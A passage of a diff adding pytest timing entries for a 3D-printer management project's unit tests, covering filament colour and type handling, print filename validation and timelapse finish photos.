"unit/test_filament_colour_2977.py::TestItNeverFailsASliceThatWouldOtherwiseSucceed::test_an_unreadable_source_still_lets_the_requested_colour_through": 0.0010405806824564934, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_absent_or_empty_reads_as_no_colour[profile0]": 0.0010330164805054665, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_absent_or_empty_reads_as_no_colour[profile1]": 0.0010552862659096718, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_absent_or_empty_reads_as_no_colour[profile2]": 0.001034480519592762, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_absent_or_empty_reads_as_no_colour[profile3]": 0.0010434053838253021, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_reads_the_bare_string_form": 0.000996176153421402, + "unit/test_filament_colour_2977.py::TestThePresetDefaultReader::test_reads_the_one_element_array_form": 0.0009954655542969704, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_a_short_colour_list_leaves_the_remaining_slots_to_the_chain": 0.0010952223092317581, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_a_slot_with_no_colour_anywhere_is_left_untouched": 0.001025201752781868, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_an_empty_slot_list_is_a_no_op": 0.0010176785290241241, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_an_empty_string_falls_through_to_the_next_source": 0.0010845139622688293, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_an_explicit_colour_outranks_the_presets_default": 0.0010389778763055801, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_every_other_field_of_the_profile_survives": 0.001038827933371067, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_it_is_written_as_a_one_element_array": 0.0010240273550152779, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_more_colours_than_slots_is_not_an_error": 0.001021355390548706, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_slot_order_is_preserved": 0.0010363617911934853, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_the_presets_default_outranks_the_source_plate": 0.0011019958183169365, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_the_presets_own_default_is_used_when_the_caller_named_none": 0.0010438961908221245, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_the_requested_colour_is_written_to_filament_colour": 0.0010364223271608353, + "unit/test_filament_colour_2977.py::TestThePriorityChain::test_the_source_plates_colour_is_the_last_resort": 0.001096024177968502, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_absent_by_default_so_older_clients_are_unchanged": 0.0010718600824475288, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_accepts_six_and_eight_digit_hex": 0.0010306211188435555, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_empty_string_survives_as_a_per_slot_opt_out": 0.0010320432484149933, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_normalises_case_so_two_equal_slices_do_not_differ_by_a_hex_digit": 0.0010334774851799011, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[#00AE42FFFF]": 0.0011040493845939636, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[#00AE4]": 0.0011252090334892273, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[#GGHHII]": 0.0011082887649536133, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[00AE42]": 0.0011163223534822464, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[red]": 0.0011841198429465294, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_rejects_anything_that_is_not_a_hex_colour[rgb(0,0,0)]": 0.0010990900918841362, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_strips_surrounding_whitespace": 0.0010318327695131302, + "unit/test_filament_colour_2977.py::TestTheRequestField::test_the_rejection_names_the_offending_slot": 0.0010899528861045837, + "unit/test_filament_colour_2977.py::TestTheSourcePlateColours::test_a_mesh_only_3mf_has_none": 0.0010559586808085442, + "unit/test_filament_colour_2977.py::TestTheSourcePlateColours::test_a_truncated_archive_reads_as_none_rather_than_raising": 0.001020452007651329, + "unit/test_filament_colour_2977.py::TestTheSourcePlateColours::test_an_stl_has_none": 0.0010219067335128784, + "unit/test_filament_colour_2977.py::TestTheSourcePlateColours::test_reads_the_designed_colours_in_slot_order": 0.0011230045929551125, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[ABS-GF]": 0.001040150411427021, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[ASA-CF]": 0.0010320041328668594, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[ASA-GF]": 0.0010444968938827515, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PA6-CF]": 0.0012402553111314774, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PA6-GF]": 0.0010833824053406715, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PAHT-CF]": 0.0010451097041368484, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PCTG]": 0.001034427434206009, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PETG-CF]": 0.0010494580492377281, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PLA-AERO]": 0.001040799543261528, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PLA-CF]": 0.0012763431295752525, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PLA-GF]": 0.0010520610958337784, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PPS-CF]": 0.0010547665879130363, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PPS-GF]": 0.0010694246739149094, + "unit/test_filament_fields_options.py::test_filament_type_includes_carbon_and_glass_fiber_variants[PPS]": 0.0010693632066249847, + "unit/test_filament_fields_options.py::test_filament_type_keeps_baseline_materials": 0.0010124379768967628, + "unit/test_filament_info_single_flight_2572.py::test_cache_hit_skips_cloud_entirely": 0.0026031071320176125, + "unit/test_filament_info_single_flight_2572.py::test_concurrent_misses_share_one_cloud_call": 0.0014552967622876167, + "unit/test_filament_info_single_flight_2572.py::test_failed_fetch_returns_none_and_leaves_no_inflight": 0.0015725186094641685, + "unit/test_filament_type_equivalence.py::TestEquivalenceGroups::test_carbon_filled_nylon_is_not_plain_nylon": 0.0010374244302511215, + "unit/test_filament_type_equivalence.py::TestEquivalenceGroups::test_every_group_canonicalises_to_its_first_entry": 0.0010686516761779785, + "unit/test_filament_type_equivalence.py::TestEquivalenceGroups::test_nylon_variants_are_interchangeable": 0.0010755956172943115, + "unit/test_filament_type_equivalence.py::TestEquivalenceGroups::test_product_variants_are_not_aliases": 0.0010843919590115547, + "unit/test_filament_type_equivalence.py::TestNormalisation::test_an_unknown_type_passes_through_uppercased": 0.0010553887113928795, + "unit/test_filament_type_equivalence.py::TestNormalisation::test_matching_is_case_insensitive": 0.0010633626952767372, + "unit/test_filament_type_equivalence.py::TestNormalisation::test_missing_type_canonicalises_to_empty": 0.0010841600596904755, + "unit/test_filament_type_equivalence.py::TestNormalisation::test_surrounding_whitespace_is_preserved_on_purpose": 0.001066550612449646, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF- ]": 0.0011327331885695457, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-ABS]": 0.0011299997568130493, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-ASA]": 0.0011271722614765167, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-EXOTIC_WOOD]": 0.0011131372302770615, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PA-CF]": 0.0011341050267219543, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PA12-CF]": 0.0011309199035167694, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PAHT-CF]": 0.0011287564411759377, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PA]": 0.0011381534859538078, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PC]": 0.0011207303032279015, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PETG Basic]": 0.0011528097093105316, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PETG HF]": 0.0011292267590761185, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PETG Translucent]": 0.0011260611936450005, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PETG]": 0.0011229254305362701, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA Basic]": 0.0011223750188946724, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA Matte]": 0.0011186180636286736, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA Pro]": 0.0011223535984754562, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA Silk]": 0.0011367294937372208, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA Tough]": 0.0011283354833722115, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PLA]": 0.0011144382879137993, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-PVA]": 0.0011172741651535034, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-TPU 95A]": 0.0011330246925354004, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-TPU]": 0.0011214623227715492, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA-CF-]": 0.0011107614263892174, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF- ]": 0.0011401968076825142, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-ABS]": 0.0011064251884818077, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-ASA]": 0.0011278633028268814, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-EXOTIC_WOOD]": 0.0011512888595461845, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PA-CF]": 0.0011177044361829758, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PA12-CF]": 0.0011179344728589058, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PAHT-CF]": 0.0011301282793283463, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PA]": 0.001128864474594593, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PC]": 0.0014068158343434334, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PETG Basic]": 0.0011246474459767342, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PETG HF]": 0.001117633655667305, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PETG Translucent]": 0.0013903351500630379, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PETG]": 0.0011103199794888496, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA Basic]": 0.001113669015467167, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA Matte]": 0.0010933000594377518, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA Pro]": 0.0011103106662631035, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA Silk]": 0.0011295471340417862, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA Tough]": 0.0011012749746441841, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PLA]": 0.001130949705839157, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-PVA]": 0.0012110499665141106, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-TPU 95A]": 0.0011118939146399498, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-TPU]": 0.0011394461616873741, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PA12-CF-]": 0.001139756292104721, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG- ]": 0.0011423109099268913, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-ABS]": 0.0011364882811903954, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-ASA]": 0.0011317115277051926, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-EXOTIC_WOOD]": 0.001185934990644455, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PA-CF]": 0.001143324188888073, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PA12-CF]": 0.0011584125459194183, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PAHT-CF]": 0.001148962415754795, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PA]": 0.0011625895276665688, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PC]": 0.001150418072938919, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PETG Basic]": 0.0011564278975129128, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PETG HF]": 0.0011504767462611198, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PETG Translucent]": 0.0011335434392094612, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PETG]": 0.0011499840766191483, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA Basic]": 0.0011406680569052696, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA Matte]": 0.001142190769314766, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA Pro]": 0.0011616973206400871, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA Silk]": 0.001128755509853363, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA Tough]": 0.0011443430557847023, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PLA]": 0.0011465689167380333, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-PVA]": 0.0011515682563185692, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-TPU 95A]": 0.0011576293036341667, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-TPU]": 0.0011278130114078522, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PETG-]": 0.0011776173487305641, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA- ]": 0.0011044088751077652, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-ABS]": 0.0011081555858254433, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-ASA]": 0.00112211424857378, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-EXOTIC_WOOD]": 0.0011654719710350037, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PA-CF]": 0.0011190865188837051, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PA12-CF]": 0.001140957698225975, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PAHT-CF]": 0.0011120960116386414, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PA]": 0.0011131679639220238, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PC]": 0.0011209119111299515, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PETG Basic]": 0.0011467598378658295, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PETG HF]": 0.0011085392907261848, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PETG Translucent]": 0.001171886920928955, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PETG]": 0.0011327918618917465, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA Basic]": 0.0011376114562153816, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA Matte]": 0.0011241268366575241, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA Pro]": 0.0011293068528175354, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA Silk]": 0.0011048214510083199, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA Tough]": 0.0010998910292983055, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PLA]": 0.0011200280860066414, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-PVA]": 0.0011297576129436493, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-TPU 95A]": 0.001142970286309719, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-TPU]": 0.001123286783695221, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_agree_on_compatibility[PLA-]": 0.0011137574911117554, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[ ]": 0.00107511505484581, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[ABS]": 0.0014875279739499092, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[ASA]": 0.0011123353615403175, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[EXOTIC_WOOD]": 0.0010680006816983223, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PA-CF]": 0.001108277589082718, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PA12-CF]": 0.0010964153334498405, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PAHT-CF]": 0.0010996805503964424, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PA]": 0.0011001033708453178, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PC]": 0.0010667797178030014, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PETG Basic]": 0.0010788412764668465, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PETG HF]": 0.0011253580451011658, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PETG Translucent]": 0.0013827914372086525, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PETG]": 0.0011671371757984161, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA Basic]": 0.001156296581029892, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA Matte]": 0.0011409679427742958, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA Pro]": 0.001158672384917736, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA Silk]": 0.0011611059308052063, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA Tough]": 0.0011587729677557945, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PLA]": 0.0011797389015555382, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[PVA]": 0.0010781297460198402, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[TPU 95A]": 0.0010824883356690407, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[TPU]": 0.001080043613910675, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_both_modules_canonicalise_identically[]": 0.0010902713984251022, + "unit/test_filament_type_equivalence.py::TestSchedulerAndEligibilityAgree::test_the_two_regressions_that_prompted_this": 0.0010546287521719933, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_bare_stem_appends_3mf": 0.0010513104498386383, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_doubled_3mf_fully_stripped": 0.001035819761455059, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_doubled_gcode_3mf_fully_stripped": 0.0010486049577593803, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_idempotent": 0.0010743942111730576, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_mixed_double_extensions_fully_stripped": 0.00105300173163414, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_non_string_input_raises_typeerror": 0.0013059480115771294, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_raw_gcode_unchanged_stem": 0.001076977699995041, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_replaces_spaces_with_underscores": 0.0010518990457057953, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_strips_3mf": 0.0010524317622184753, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_strips_gcode_3mf": 0.0010364735499024391, + "unit/test_filename_validation.py::TestDeriveRemoteFilename::test_unicode_stem_preserved": 0.0010697254911065102, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_control_char_rejected": 0.001097327098250389, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_dot_names_rejected[..]": 0.0010928092524409294, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_dot_names_rejected[.]": 0.001081285998225212, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[\"]": 0.0011081574484705925, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[*]": 0.0014012353494763374, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[/]": 0.0011160830035805702, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[:]": 0.001129746437072754, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[<]": 0.001129046082496643, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[>]": 0.0011175647377967834, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[?]": 0.0010988293215632439, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[\\\\]": 0.0010895226150751114, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_each_invalid_char_rejected[|]": 0.0010973680764436722, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_empty_rejected[ ]": 0.0010952726006507874, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_empty_rejected[ ]": 0.001092197373509407, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_empty_rejected[]": 0.001150054857134819, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_pipe_from_issue_1540": 0.0010623903945088387, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_too_long_rejected": 0.00109112448990345, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_trailing_space_or_dot_rejected[file.3mf ]": 0.0011207209900021553, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_trailing_space_or_dot_rejected[file.3mf.]": 0.0011299755424261093, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_unicode_byte_length_not_codepoint": 0.0010812468826770782, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[Bersaglio.gcode.3mf]": 0.001107855699956417, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[Plate 1.3mf]": 0.001093318685889244, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[\\u30d7\\u30ea\\u30f3\\u30c8.3mf]": 0.0010956740006804466, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[a.3mf]": 0.0011062035337090492, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[model.3mf]": 0.0011127851903438568, + "unit/test_filename_validation.py::TestValidatePrintFilename::test_valid_names_accepted[model_v2-final.3mf]": 0.00111421849578619, + "unit/test_finish_photo_from_timelapse.py::test_extracted_frame_is_rotated_when_configured": 0.004490536637604237, + "unit/test_finish_photo_from_timelapse.py::test_extracted_frame_is_untouched_without_a_rotation": 0.0025189314037561417, + "unit/test_finish_photo_from_timelapse.py::test_extracts_frame_when_timelapse_lands": 0.0023704227060079575, + "unit/test_finish_photo_from_timelapse.py::test_polls_until_file_appears": 0.15338802523911, + "unit/test_finish_photo_from_timelapse.py::test_returns_none_when_extraction_fails": 0.0023780688643455505, + "unit/test_finish_photo_from_timelapse.py::test_returns_none_when_timelapse_never_lands": 0.20891436748206615, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_matches_by_equality_not_substring": 0.002971178852021694, + 